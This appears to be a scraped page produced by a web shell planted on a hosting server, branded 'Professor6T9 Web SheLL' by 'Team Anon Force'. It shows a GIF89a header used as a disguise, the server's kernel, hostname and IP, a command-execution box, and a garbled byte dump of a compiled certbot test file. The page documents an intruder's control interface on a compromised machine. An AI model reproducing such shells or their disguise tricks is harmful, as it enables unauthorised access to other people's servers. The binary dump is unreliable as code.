GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
lib
/
python3.6
/
site-packages
/
certbot
/
plugins
/
__pycache__
[ HOME ]
Exec
Submit
dns_test_common_lexicon.cpython-36.pyc
3 گax � @ s0 d Z ddlmZ ddlmZ ddlmZ ddlZddlm Z ddlm Z ddlmZ dd l mZ dd lmZ ddlmZ ddlmZ dd lmZ yddlZW n ek r� ddlmZ Y nX er�ddlmZ neZdZejj ej!d��Z"G dd� dee�Z#G dd� de�Z$G dd� dej%�Z&G dd� d�Z'dS )z8Base test class for DNS authenticators built on Lexicon.� )�Any)� TYPE_CHECKING)� MagicMockN)� HTTPError)�RequestException)� Challenge)�errors)�dns_test_common)� LexiconClient)�_AuthenticatorCallableTestCase)�util)�mock)�Protocolzexample.comzrsa512_key.pemc @ s e Zd ZU dZeedS )�%_AuthenticatorCallableLexiconTestCasezq Protocol describing a TestCase suitable to test challenges against a mocked LexiconClient instance. N)�__name__� __module__�__qualname__�__doc__r �mock_clientr �achall� r r �-/usr/lib/python3.6/dns_test_common_lexicon.pyr s r c @ sF e Zd ZU dZeee e ee eeeedd�dd�ZdS )�_LexiconAwareTestCasezX Protocol describing a TestCase suitable to test a real LexiconClient instance. N)�unused_args�returnc G s dS )zl See https://docs.python.org/3/library/unittest.html#unittest.TestCase.assertRaises Nr )�selfr r r r �assertRaises7 s z"_LexiconAwareTestCase.assertRaises)r r r r r �clientr � provider_mock�str� record_prefix�record_name�record_content� Exception�DOMAIN_NOT_FOUND� GENERIC_ERROR�LOGIN_ERROR�UNKNOWN_LOGIN_ERRORr r r r r r r '